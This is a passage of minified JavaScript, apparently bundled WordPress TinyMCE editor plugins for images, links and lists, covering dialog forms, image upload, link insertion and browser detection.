n=e.dom.is(t.parentNode,"figure.image")?t.parentNode:t;e.dom.remove(n),e.focus(),e.nodeChanged(),e.dom.isEmpty(e.getBody())&&(e.setContent(""),e.selection.setCursorLocation())}}(e,n):t.src&&le(e,t)},ce=function(n,r){r.find("#style").each(function(e){var t=Y(function(e){return re(n,e)},E({src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""},r.toJSON()));e.value(t)})},se=function(t){return{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox",onchange:(o=t,function(e){var t=o.dom,n=e.control.rootControl;if(u(o)){var r=n.toJSON(),a=t.parseStyle(r.style);n.find("#vspace").value(""),n.find("#hspace").value(""),((a=I(a))["margin-top"]&&a["margin-bottom"]||a["margin-right"]&&a["margin-left"])&&(a["margin-top"]===a["margin-bottom"]?n.find("#vspace").value(A(a["margin-top"])):n.find("#vspace").value(""),a["margin-right"]===a["margin-left"]?n.find("#hspace").value(A(a["margin-right"])):n.find("#hspace").value("")),a["border-width"]?n.find("#border").value(A(a["border-width"])):n.find("#border").value(""),a["border-style"]?n.find("#borderStyle").value(a["border-style"]):n.find("#borderStyle").value(""),n.find("#style").value(t.serializeStyle(t.parseStyle(t.serializeStyle(a))))}})},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,defaults:{type:"textbox",maxWidth:50,onchange:function(e){ce(t,e.control.rootControl)}},items:[{label:"Vertical space",name:"vspace"},{label:"Border width",name:"border"},{label:"Horizontal space",name:"hspace"},{label:"Border style",type:"listbox",name:"borderStyle",width:90,maxWidth:90,onselect:function(e){ce(t,e.control.rootControl)},values:[{text:"Select...",value:""},{text:"Solid",value:"solid"},{text:"Dotted",value:"dotted"},{text:"Dashed",value:"dashed"},{text:"Double",value:"double"},{text:"Groove",value:"groove"},{text:"Ridge",value:"ridge"},{text:"Inset",value:"inset"},{text:"Outset",value:"outset"},{text:"None",value:"none"},{text:"Hidden",value:"hidden"}]}]}]};var o},de=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},me=function(e,t){var n=e.find("#width")[0],r=e.find("#height")[0],a=e.find("#constrain")[0];n&&r&&a&&t(n,r,a.checked())},ge=function(e,t,n){var r=e.state.get("oldVal"),a=t.state.get("oldVal"),o=e.value(),i=t.value();n&&r&&a&&o&&i&&(o!==r?(i=Math.round(o/r*i),isNaN(i)||t.value(i)):(o=Math.round(i/a*o),isNaN(o)||e.value(o))),de(e,t)},fe=function(e){me(e,ge)},pe=function(){var e=function(e){fe(e.control.rootControl)};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}},he=function(e){me(e,de)},ve=fe,be=function(e){e.meta=e.control.rootControl.toJSON()},ye=function(s,e){var t=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:function(e){var t,n,r,a,o,i,l,u,c;n=s,i=(t=e).meta||{},l=t.control,u=l.rootControl,(c=u.find("#image-list")[0])&&c.value(n.convertURL(l.value(),"src")),C.each(i,function(e,t){u.find("#"+t).value(e)}),i.width||i.height||(r=n.convertURL(l.value(),"src"),a=m(n),o=new RegExp("^(?:[a-z]+:)?//","i"),a&&!o.test(r)&&r.substring(0,a.length)!==a&&(r=a+r),l.value(r),_(n.documentBaseURI.toAbsolute(l.value()),function(e){e.width&&e.height&&d(n)&&(u.find("#width").value(e.width),u.find("#height").value(e.height),he(u))}))},onbeforecall:be},e];return r(s)&&t.push({name:"alt",type:"textbox",label:"Image description"}),a(s)&&t.push({name:"title",type:"textbox",label:"Image Title"}),d(s)&&t.push(pe()),n(s)&&t.push({name:"class",type:"listbox",label:"Class",values:T(n(s),function(e){e.value&&(e.textStyle=function(){return s.formatter.getCssText({inline:"img",classes:[e.value]})})})}),o(s)&&t.push({name:"caption",type:"checkbox",label:"Caption"}),t},xe=function(e,t){return{title:"General",type:"form",items:ye(e,t)}},we=ye,Ce=function(){return x.getOrDie("URL")},Se=function(e){return Ce().createObjectURL(e)},Ne=function(e){Ce().revokeObjectURL(e)},_e=tinymce.util.Tools.resolve("tinymce.ui.Factory"),Te=function(){};function Ae(i){var t=function(e,r,a,t){var o,n;(o=new(x.getOrDie("XMLHttpRequest"))).open("POST",i.url),o.withCredentials=i.credentials,o.upload.onprogress=function(e){t(e.loaded/e.total*100)},o.onerror=function(){a("Image upload failed due to a XHR Transport error. Code: "+o.status)},o.onload=function(){var e,t,n;o.status<200||300<=o.status?a("HTTP Error: "+o.status):(e=JSON.parse(o.responseText))&&"string"==typeof e.location?r((t=i.basePath,n=e.location,t?t.replace(/\/$/,"")+"/"+n.replace(/^\//,""):n)):a("Invalid JSON: "+o.responseText)},(n=new l.FormData).append("file",e.blob(),e.filename()),o.send(n)};return i=C.extend({credentials:!1,handler:t},i),{upload:function(e){return i.url||i.handler!==t?(r=e,a=i.handler,new w(function(e,t){try{a(r,e,t,Te)}catch(n){t(n.message)}})):w.reject("Upload url missing from the settings.");var r,a}}}var Re=function(u){return function(e){var t=_e.get("Throbber"),n=e.control.rootControl,r=new t(n.getEl()),a=e.control.value(),o=Se(a),i=Ae({url:f(u),basePath:h(u),credentials:v(u),handler:p(u)}),l=function(){r.hide(),Ne(o)};return r.show(),L(a).then(function(e){var t=u.editorUpload.blobCache.create({blob:a,blobUri:o,name:a.name?a.name.replace(/\.[^\.]+$/,""):null,base64:e.split(",")[1]});return i.upload(t).then(function(e){var t=n.find("#src");return t.value(e),n.find("tabpanel")[0].activateTab(0),t.fire("change"),l(),e})})["catch"](function(e){u.windowManager.alert(e),l()})}},Ie=".jpg,.jpeg,.png,.gif",Oe=function(e){return{title:"Upload",type:"form",layout:"flex",direction:"column",align:"stretch",padding:"20 20 20 20",items:[{type:"container",layout:"flex",direction:"column",align:"center",spacing:10,items:[{text:"Browse for an image",type:"browsebutton",accept:Ie,onchange:Re(e)},{text:"OR",type:"label"}]},{text:"Drop an image here",type:"dropzone",accept:Ie,height:100,onchange:Re(e)}]}};function Le(r){for(var a=[],e=1;e<arguments.length;e++)a[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=a.concat(e);return r.apply(null,n)}}var Pe=function(t,e){var n=e.control.getRoot();ve(n),t.undoManager.transact(function(){var e=E(ie(t),n.toJSON());ue(t,e)}),t.editorUpload.uploadImagesAuto()};function Ue(o){function e(e){var n,t,r=ie(o);if(e&&(t={type:"listbox",label:"Image list",name:"image-list",values:T(e,function(e){e.value=o.convertURL(e.value||e.url,"src")},[{text:"None",value:""}]),value:r.src&&o.convertURL(r.src,"src"),onselect:function(e){var t=n.find("#alt");(!t.value()||e.lastControl&&t.value()===e.lastControl.text())&&t.value(e.control.text()),n.find("#src").value(e.control.value()).fire("change")},onPostRender:function(){t=this}}),u(o)||s(o)||g(o)){var a=[xe(o,t)];u(o)&&a.push(se(o)),(s(o)||g(o))&&a.push(Oe(o)),n=o.windowManager.open({title:"Insert/edit image",data:r,bodyType:"tabpanel",body:a,onSubmit:Le(Pe,o)})}else n=o.windowManager.open({title:"Insert/edit image",data:r,body:we(o,t),onSubmit:Le(Pe,o)});he(n)}return{open:function(){t(o,e)}}}var Ee=function(e){e.addCommand("mceImage",Ue(e).open)},ke=function(o){return function(e){for(var t,n,r=e.length,a=function(e){e.attr("contenteditable",o?"true":null)};r--;)t=e[r],(n=t.attr("class"))&&/\bimage\b/.test(n)&&(t.attr("contenteditable",o?"false":null),C.each(t.getAll("figcaption"),a))}},Me=function(e){e.on("preInit",function(){e.parser.addNodeFilter("figure",ke(!0)),e.serializer.addNodeFilter("figure",ke(!1))})},De=function(e){e.addButton("image",{icon:"image",tooltip:"Insert/edit image",onclick:Ue(e).open,stateSelector:"img:not([data-mce-object],[data-mce-placeholder]),figure.image"}),e.addMenuItem("image",{icon:"image",text:"Image",onclick:Ue(e).open,context:"insert",prependToContext:!0})};e.add("image",function(e){Me(e),De(e),Ee(e)})}(window); // Source: wp-includes/js/tinymce/plugins/link/plugin.min.js !function(l){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=tinymce.util.Tools.resolve("tinymce.util.VK"),e=function(t){return t.target_list},o=function(t){return t.rel_list},i=function(t){return t.link_class_list},p=function(t){return"boolean"==typeof t.link_assume_external_targets&&t.link_assume_external_targets},a=function(t){return"boolean"==typeof t.link_context_toolbar&&t.link_context_toolbar},r=function(t){return t.link_list},k=function(t){return"string"==typeof t.default_link_target},y=function(t){return t.default_link_target},b=e,_=function(t,e){t.settings.target_list=e},w=function(t){return!1!==e(t)},T=o,C=function(t){return o(t)!==undefined},M=i,O=function(t){return i(t)!==undefined},R=function(t){return!1!==t.link_title},N=function(t){return"boolean"==typeof t.allow_unsafe_link_target&&t.allow_unsafe_link_target},u=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),c=tinymce.util.Tools.resolve("tinymce.Env"),s=function(t){if(!c.ie||10<c.ie){var e=l.document.createElement("a");e.target="_blank",e.href=t,e.rel="noreferrer noopener";var n=l.document.createEvent("MouseEvents");n.initMouseEvent("click",!0,!0,l.window,0,0,0,0,0,!1,!1,!1,!1,0,null),r=e,a=n,l.document.body.appendChild(r),r.dispatchEvent(a),l.document.body.removeChild(r)}else{var o=l.window.open("","_blank");if(o){o.opener=null;var i=o.document;i.open(),i.write('<meta http-equiv="refresh" content="0; url='+u.DOM.encode(t)+'">'),i.close()}}var r,a},A=tinymce.util.Tools.resolve("tinymce.util.Tools"),f=function(t,e){var n,o,i=["noopener"],r=t?t.split(/\s+/):[],a=function(t){return t.filter(function(t){return-1===A.inArray(i,t)})};return(r=e?(n=a(n=r)).length?n.concat(i):i:a(r)).length?(o=r,A.trim(o.sort().join(" "))):null},d=function(t,e){return e=e||t.selection.getNode(),v(e)?t.dom.select("a[href]",e)[0]:t.dom.getParent(e,"a[href]")},m=function(t){return t&&"A"===t.nodeName&&t.href},v=function(t){return t&&"FIGURE"===t.nodeName&&/\bimage\b/i.test(t.className)},g=function(t,e){var n,o;(o=t.dom.select("img",e)[0])&&(n=t.dom.getParents(o,"a[href]",e)[0])&&(n.parentNode.insertBefore(o,n),t.dom.remove(n))},h=function(t,e,n){var o,i;(i=t.dom.select("img",e)[0])&&(o=t.dom.create("a",n),i.parentNode.insertBefore(o,i),o.appendChild(i))},L=function(i,r){return function(o){i.undoManager.transact(function(){var t=i.selection.getNode(),e=d(i,t),n={href:o.href,target:o.target?o.target:null,rel:o.rel?o.rel:null,"class":o["class"]?o["class"]:null,title:o.title?o.title:null};C(i.settings)||!1!==N(i.settings)||(n.rel=f(n.rel,"_blank"===n.target)),o.href===r.href&&(r.attach(),r={}),e?(i.focus(),o.hasOwnProperty("text")&&("innerText"in e?e.innerText=o.text:e.textContent=o.text),i.dom.setAttribs(e,n),i.selection.select(e),i.undoManager.add()):v(t)?h(i,t,n):o.hasOwnProperty("text")?i.insertContent(i.dom.createHTML("a",n,i.dom.encode(o.text))):i.execCommand("mceInsertLink",!1,n)})}},P=function(e){return function(){e.undoManager.transact(function(){var t=e.selection.getNode();v(t)?g(e,t):e.execCommand("unlink")})}},x=m,E=function(t){return 0<A.grep(t,m).length},S=function(t){return!(/</.test(t)&&(!/^<a [^>]+>[^<]+<\/a>$/.test(t)||-1===t.indexOf("href=")))},I=d,K=function(t,e){var n=e?e.innerText||e.textContent:t.getContent({format:"text"});return n.replace(/\uFEFF/g,"")},U=f,D=tinymce.util.Tools.resolve("tinymce.util.Delay"),B=tinymce.util.Tools.resolve("tinymce.util.XHR"),F={},q=function(t,o,e){var i=function(t,n){return n=n||[],A.each(t,function(t){var e={text:t.text||t.title};t.menu?e.menu=i(t.menu):(e.value=t.value,o&&o(e)),n.push(e)}),n};return i(t,e||[])},V=function(e,t,n){var o=e.selection.getRng();D.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(o),n(t)})})},z=function(a,t){var e,l,o,u,n,i,r,c,s,f,d,m={},v=a.selection,g=a.dom,h=function(t){var e=o.find("#text");(!e.value()||t.lastControl&&e.value()===t.lastControl.text())&&e.value(t.control.text()),o.find("#href").value(t.control.value())},x=function(){l||!u||m.text||this.parent().parent().find("#text")[0].value(this.value())};u=S(v.getContent()),e=I(a),m.text=l=K(a.selection,e),m.href=e?g.getAttrib(e,"href"):"",e?m.target=g.getAttrib(e,"target"):k(a.settings)&&(m.target=y(a.settings)),(d=g.getAttrib(e,"rel"))&&(m.rel=d),(d=g.getAttrib(e,"class"))&&(m["class"]=d),(d=g.getAttrib(e,"title"))&&(m.title=d),u&&(n={name:"text",type:"textbox",size:40,label:"Text to display",onchange:function(){m.text=this.value()}}),t&&(i={type:"listbox",label:"Link list",values:q(t,function(t){t.value=a.convertURL(t.value||t.url,"href")},[{text:"None",value:""}]),onselect:h,value:a.convertURL(m.href,"href"),onPostRender:function(){i=this}}),w(a.settings)&&(b(a.settings)===undefined&&_(a,[{text:"None",value:""},{text:"New window",value:"_blank"}]),c={name:"target",type:"listbox",label:"Target",values:q(b(a.settings))}),C(a.settings)&&(r={name:"rel",type:"listbox",label:"Rel",values:q(T(a.settings),function(t){!1===N(a.settings)&&(t.value=U(t.value,"_blank"===m.target))})}),O(a.settings)&&(s={name:"class",type:"listbox",label:"Class",values:q(M(a.settings),function(t){t.value&&(t.textStyle=function(){return a.formatter.getCssText({inline:"a",classes:[t.value]})})})}),R(a.settings)&&(f={name:"title",type:"textbox",label:"Title",value:m.title}),o=a.windowManager.open({title:"Insert link",data:m,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:function(t){var e=t.meta||{};i&&i.value(a.convertURL(this.value(),"href")),A.each(t.meta,function(t,e){var n=o.find("#"+e);"text"===e?0===l.length&&(n.value(t),m.text=t):n.value(t)}),e.attach&&(F={href:this.value(),attach:e.attach}),e.text||x.call(this)},onkeyup:x,onpaste:x,onbeforecall:function(t){t.meta=o.toJSON()}},n,f,function(n){var o=[];if(A.each(a.dom.select("a:not([href])"),function(t){var e=t.name||t.id;e&&o.push({text:e,value:"#"+e,selected:-1!==n.indexOf("#"+e)})}),o.length)return o.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:o,onselect:h}}(m.href),i,r,c,s],onSubmit:function(t){var e=p(a.settings),n=L(a,F),o=P(a),i=A.extend({},m,t.data),r=i.href;r?(u&&i.text!==l||delete i.text,0<r.indexOf("@")&&-1===r.indexOf("//")&&-1===r.indexOf("mailto:")?V(a,"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",function(t){t&&(i.href="mailto:"+r),n(i)}):!0===e&&!/^\w+:/i.test(r)||!1===e&&/^\s*www[\.|\d\.]/i.test(r)?V(a,"The URL you entered seems to be an external link. Do you want to add the required http:// prefix?",function(t){t&&(i.href="http://"+r),n(i)}):n(i)):o()}})},H=function(t){var e,n,o;n=z,"string"==typeof(o=r((e=t).settings))?B.send({url:o,success:function(t){n(e,JSON.parse(t))}}):"function"==typeof o?o(function(t){n(e,t)}):n(e,o)},J=function(t,e){return t.dom.getParent(e,"a[href]")},$=function(t){return J(t,t.selection.getStart())},j=function(t,e){if(e){var n=(i=e).getAttribute("data-mce-href")||i.getAttribute("href");if(/^#/.test(n)){var o=t.$(n);o.length&&t.selection.scrollIntoView(o[0],!0)}else s(e.href)}var i},G=function(t){return function(){H(t)}},X=function(t){return function(){j(t,$(t))}},Q=function(r){return function(t){var e,n,o,i;return!!(a(r.settings)&&(!(i=r.plugins.contextmenu)||!i.isContextMenuVisible())&&x(t)&&3===(o=(n=(e=r.selection).getRng()).startContainer).nodeType&&e.isCollapsed()&&0<n.startOffset&&n.startOffset<o.data.length)}},W=function(o){o.on("click",function(t){var e=J(o,t.target);e&&n.metaKeyPressed(t)&&(t.preventDefault(),j(o,e))}),o.on("keydown",function(t){var e,n=$(o);n&&13===t.keyCode&&!0===(e=t).altKey&&!1===e.shiftKey&&!1===e.ctrlKey&&!1===e.metaKey&&(t.preventDefault(),j(o,n))})},Y=function(n){return function(){var e=this;n.on("nodechange",function(t){e.active(!n.readonly&&!!I(n,t.element))})}},Z=function(n){return function(){var e=this,t=function(t){E(t.parents)?e.show():e.hide()};E(n.dom.getParents(n.selection.getStart()))||e.hide(),n.on("nodechange",t),e.on("remove",function(){n.off("nodechange",t)})}},tt=function(t){t.addCommand("mceLink",G(t))},et=function(t){t.addShortcut("Meta+K","",G(t))},nt=function(t){t.addButton("link",{active:!1,icon:"link",tooltip:"Insert/edit link",onclick:G(t),onpostrender:Y(t)}),t.addButton("unlink",{active:!1,icon:"unlink",tooltip:"Remove link",onclick:P(t),onpostrender:Y(t)}),t.addContextToolbar&&t.addButton("openlink",{icon:"newtab",tooltip:"Open link",onclick:X(t)})},ot=function(t){t.addMenuItem("openlink",{text:"Open link",icon:"newtab",onclick:X(t),onPostRender:Z(t),prependToContext:!0}),t.addMenuItem("link",{icon:"link",text:"Link",shortcut:"Meta+K",onclick:G(t),stateSelector:"a[href]",context:"insert",prependToContext:!0}),t.addMenuItem("unlink",{icon:"unlink",text:"Remove link",onclick:P(t),stateSelector:"a[href]"})},it=function(t){t.addContextToolbar&&t.addContextToolbar(Q(t),"openlink | link unlink")};t.add("link",function(t){nt(t),ot(t),it(t),W(t),tt(t),et(t)})}(window); // Source: wp-includes/js/tinymce/plugins/lists/plugin.min.js !function(u){"use strict";var e,n,t,r,o,i,s,a,c,f=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),l=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),m=tinymce.util.Tools.resolve("tinymce.util.VK"),p=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),g=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),h=function(e){return e&&"BR"===e.nodeName},y=function(e){return e&&3===e.nodeType},N=function(e){return e&&/^(OL|UL|DL)$/.test(e.nodeName)},S=function(e){return e&&/^(OL|UL)$/.test(e.nodeName)},C=function(e){return e&&/^(DT|DD)$/.test(e.nodeName)},O=function(e){return e&&/^(LI|DT|DD)$/.test(e.nodeName)},b=function(e){return e&&/^(TH|TD)$/.test(e.nodeName)},T=h,E=function(e,n){return n&&!!e.schema.getTextBlockElements()[n.nodeName]},L=function(e,n){return e&&e.nodeName in n},D=function(e,n){return!!h(n)&&!(!e.isBlock(n.nextSibling)||h(n.previousSibling))},w=function(e,n,t){var r=e.isEmpty(n);return!(t&&0<e.select("span[data-mce-type=bookmark]",n).length)&&r},k=function(e,n){return e.isChildOf(n,e.getRoot())},A=function(e,n){if(y(e))return{container:e,offset:n};var t=d.getNode(e,n);return y(t)?{container:t,offset:n>=e.childNodes.length?t.data.length:0}:t.previousSibling&&y(t.previousSibling)?{container:t.previousSibling,offset:t.previousSibling.data.length}:t.nextSibling&&y(t.nextSibling)?{container:t.nextSibling,offset:0}:{container:e,offset:n}},x=function(e){var n=e.cloneRange(),t=A(e.startContainer,e.startOffset);n.setStart(t.container,t.offset);var r=A(e.endContainer,e.endOffset);return n.setEnd(r.container,r.offset),n},R=g.DOM,I=function(o){var i={},e=function(e){var n,t,r;t=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"],1===t.nodeType&&(n=R.create("span",{"data-mce-type":"bookmark"}),t.hasChildNodes()?(r=Math.min(r,t.childNodes.length-1),e?t.insertBefore(n,t.childNodes[r]):R.insertAfter(n,t.childNodes[r])):t.appendChild(n),t=n,r=0),i[e?"startContainer":"endContainer"]=t,i[e?"startOffset":"endOffset"]=r};return e(!0),o.collapsed||e(),i},_=function(o){function e(e){var n,t,r;n=r=o[e?"startContainer":"endContainer"],t=o[e?"startOffset":"endOffset"],n&&(1===n.nodeType&&(t=function(e){for(var n=e.parentNode.firstChild,t=0;n;){if(n===e)return t;1===n.nodeType&&"bookmark"===n.getAttribute("data-mce-type")||t++,n=n.nextSibling}return-1}(n),n=n.parentNode,R.remove(r),!n.hasChildNodes()&&R.isBlock(n)&&n.appendChild(R.create("br"))),o[e?"startContainer":"endContainer"]=n,o[e?"startOffset":"endOffset"]=t)}e(!0),e();var n=R.createRng();return n.setStart(o.startContainer,o.startOffset),o.endContainer&&n.setEnd(o.endContainer,o.endOffset),x(n)},B=function(){},P=function(e){return function(){return e}},M=function(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return!t.apply(null,e)}},U=P(!1),F=P(!0),j=function(){return H},H=(e=function(e){return e.isNone()},r={fold:function(e,n){return e()},is:U,isSome:U,isNone:F,getOr:t=function(e){return e},getOrThunk:n=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:P(null),getOrUndefined:P(undefined),or:t,orThunk:n,map:j,each:B,bind:j,exists:U,forall:F,filter:j,equals:e,equals_:e,toArray:function(){return[]},toString:P("none()")},Object.freeze&&Object.freeze(r),r),$=function(t){var e=P(t),n=function(){return o},r=function(e){return e(t)},o={fold:function(e,n){return n(t)},is:function(e){return t===e},isSome:F,isNone:U,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:n,orThunk:n,map:function(e){return $(e(t))},each:function(e){e(t)},bind:r,exists:r,forall:r,filter:function(e){return e(t)?o:H},toArray:function(){return[t]},toString:function(){return"some("+t+")"},equals:function(e){return e.is(t)},equals_:function(e,n){return e.fold(U,function(e){return n(t,e)})}};return o},q={some:$,none:j,from:function(e){return null===e||e===undefined?H:$(e)}},W=function(n){return function(e){return function(e){if(null===e)return"null";var n=typeof e;return"object"===n&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"===n&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":n}(e)===n}},V=W("string"),z=W("array"),K=W("boolean"),X=W("function"),Q=W("number"),Y=Array.prototype.slice,G=Array.prototype.push,J=function(e,n){for(var t=e.length,r=new Array(t),o=0;o<t;o++){var i=e[o];r[o]=n(i,o)}return r},Z=function(e,n){for(var t=0,r=e.length;t<r;t++)n(e[t],t)},ee=function(e,n){for(var t=[],r=0,o=e.length;r<o;r++){var i=e[r];n(i,r)&&t.push(i)}return t},ne=function(e,n,t){return Z(e,function(e){t=n(t,e)}),t},te=function(e,n){for(var t=0,r=e.length;t<r;t++){var o=e[t];if(n(o,t))return q.some(o)}return q.none()},re=function(e,n){return function(e){for(var n=[],t=0,r=e.length;t<r;++t){if(!z(e[t]))throw new Error("Arr.flatten item "+t+" was not an array, input: "+e);G.apply(n,e[t])}return n}(J(e,n))},oe=function(e){return 0===e.length?q.none():q.some(e[0])},ie=function(e){return 0===e.length?q.none():q.some(e[e.length-1])},ue=(X(Array.from)&&Array.from,"undefined"!=typeof u.window?u.window:Function("return this;")()),se=function(e,n){return function(e,n){for(var t=n!==undefined&&null!==n?n:ue,r=0;r<e.length&&t!==undefined&&null!==t;++r)t=t[e[r]];return t}(e.split("."),n)},ae=function(e,n){var t=se(e,n);if(t===undefined||null===t)throw new Error(e+" not available on this browser");return t},ce=function(e){var n,t=se("ownerDocument.defaultView",e);return(n=t,ae("HTMLElement",n)).prototype.isPrototypeOf(e)},fe=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),de=function(e){var n=e.selection.getStart(!0);return e.dom.getParent(n,"OL,UL,DL",me(e,n))},le=function(e){var t,n,r,o=e.selection.getSelectedBlocks();return v.grep((t=e,n=o,r=v.map(n,function(e){var n=t.dom.getParent(e,"li,dd,dt",me(t,e));return n||e}),fe.unique(r)),function(e){return O(e)})},me=function(e,n){var t=e.dom.getParents(n,"TD,TH");return 0<t.length?t[0]:e.getBody()},ge=function(e,n){var t=e.dom.getParents(n,"ol,ul",me(e,n));return ie(t)},pe=function(n,e){var t=J(e,function(e){return ge(n,e).getOr(e)});return fe.unique(t)},ve={isList:function(e){var n=de(e);return ce(n)},getParentList:de,getSelectedSubLists:function(e){var n,t,r,o=de(e),i=e.selection.getSelectedBlocks();return r=i,(t=o)&&1===r.length&&r[0]===t?(n=o,v.grep(n.querySelectorAll("ol,ul,dl"),function(e){return N(e)})):v.grep(i,function(e){return N(e)&&o!==e})},getSelectedListItems:le,getClosestListRootElm:me,getSelectedDlItems:function(e){return ee(le(e),C)},getSelectedListRoots:function(e){var n,t,r,o=(t=ge(n=e,n.selection.getStart()),r=ee(n.selection.getSelectedBlocks(),S),t.toArray().concat(r));return pe(e,o)}},he=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:P(e)}},ye={fromHtml:function(e,n){var t=(n||u.document).createElement("div");if(t.innerHTML=e,!t.hasChildNodes()||1<t.childNodes.length)throw u.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return he(t.childNodes[0])},fromTag:function(e,n){var t=(n||u.document).createElement(e);return he(t)},fromText:function(e,n){var t=(n||u.document).createTextNode(e);return he(t)},fromDom:he,fromPoint:function(e,n,t){var r=e.dom();return q.from(r.elementFromPoint(n,t)).map(he)}},Ne=function(e,n,t){return e.isSome()&&n.isSome()?q.some(t(e.getOrDie(),n.getOrDie())):q.none()},Se=Object.keys,Ce=function(){return ae("Node")},Oe=function(e,n,t){return 0!=(e.compareDocumentPosition(n)&t)},be=function(e,n){return Oe(e,n,Ce().DOCUMENT_POSITION_CONTAINED_BY)},Te=function(e,n){var t=function(e,n){for(var t=0;t<e.length;t++){var r=e[t];if(r.test(n))return r}return undefined}(e,n);if(!t)return{major:0,minor:0};var r=function(e){return Number(n.replace(t,"$"+e))};return Le(r(1),r(2))},Ee=function(){return Le(0,0)},Le=function(e,n){return{major:e,minor:n}},De={nu:Le,detect:function(e,n){var t=String(n).toLowerCase();return 0===e.length?Ee():Te(e,t)},unknown:Ee},we="Firefox",ke=function(e,n){return function(){return n===e}},Ae=function(e){var n=e.current;return{current:n,version:e.version,isEdge:ke("Edge",n),isChrome:ke("Chrome",n),isIE:ke("IE",n),isOpera:ke("Opera",n),isFirefox:ke(we,n),isSafari:ke("Safari",n)}},xe={unknown:function(){return Ae({current:undefined,version:De.unknown()})},nu:Ae,edge:P("Edge"),chrome:P("Chrome"),ie:P("IE"),opera:P("Opera"),firefox:P(we),safari:P("Safari")},Re="Windows",Ie="Android",_e="Solaris",Be="FreeBSD",Pe=function(e,n){return function(){return n===e}},Me=function(e){var n=e.current;return{current:n,version:e.version,isWindows:Pe(Re,n),isiOS:Pe("iOS",n),isAndroid:Pe(Ie,n),isOSX:Pe("OSX",n),isLinux:Pe("Linux",n),isSolaris:Pe(_e,n),isFreeBSD:Pe(Be,n)}},Ue={unknown:function(){return Me({current:undefined,version:De.unknown()})},nu:Me,windows:P(Re),ios:P("iOS"),android:P(Ie),linux:P("Linux"),osx:P("OSX"),solaris:P(_e),freebsd:P(Be)},Fe=function(e,n){var t=String(n).toLowerCase();return te(e,function(e){return e.search(t)})},je=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},He=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},$e=function(e,n){return-1!==e.indexOf(n)},qe=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,We=function(n){return function(e){return $e(e,n)}},Ve=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return $e(e,"edge/")&&$e(e,"chrome")&&$e(e,"safari")&&$e(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,qe],search:function(e){return $e(e,"chrome")&&!$e(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return $e(e,"msie")||$e(e,"trident")}},{name:"Opera",versionRegexes:[qe,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:We("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:We("firefox")},{name:"Safari",versionRegexes:[qe,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return($e(e,"safari")||$e(e,"mobile/"))&&$e(e,"applewebkit")}}],ze=[{name:"Windows",search:We("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return $e(e,"iphone")||$e(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:We("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:We("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:We("linux"),versionRegexes:[]},{name:"Solaris",search:We("sunos"),versionRegexes:[]},{name:"FreeBSD",search:We("freebsd"),versionRegexes:[]}],Ke={browsers:P(Ve),oses:P(ze)},Xe=function(e){var 